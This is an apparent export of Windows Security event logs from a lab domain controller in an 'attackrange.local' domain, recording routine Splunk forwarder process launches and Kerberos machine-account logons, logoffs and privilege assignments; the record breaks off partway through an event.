SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257179
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:14:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257180
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:14:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257181
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:14:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257182
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x104c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:14:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257183
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:14:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257185
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x122c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:14:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257184
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:14:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257188
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C1BB2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:14:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257187
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4C1BB2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59466

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:14:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257186
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C1BB2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:15:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257189
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x136c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:15:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257190
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:15:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257191
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:15:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257192
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:15:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257193
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:15:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257195
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x117c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:15:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257194
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:15:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257198
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C50F8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:15:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257197
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4C50F8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59479

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:15:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257196
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C50F8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:16:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257199
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:16:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257200
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
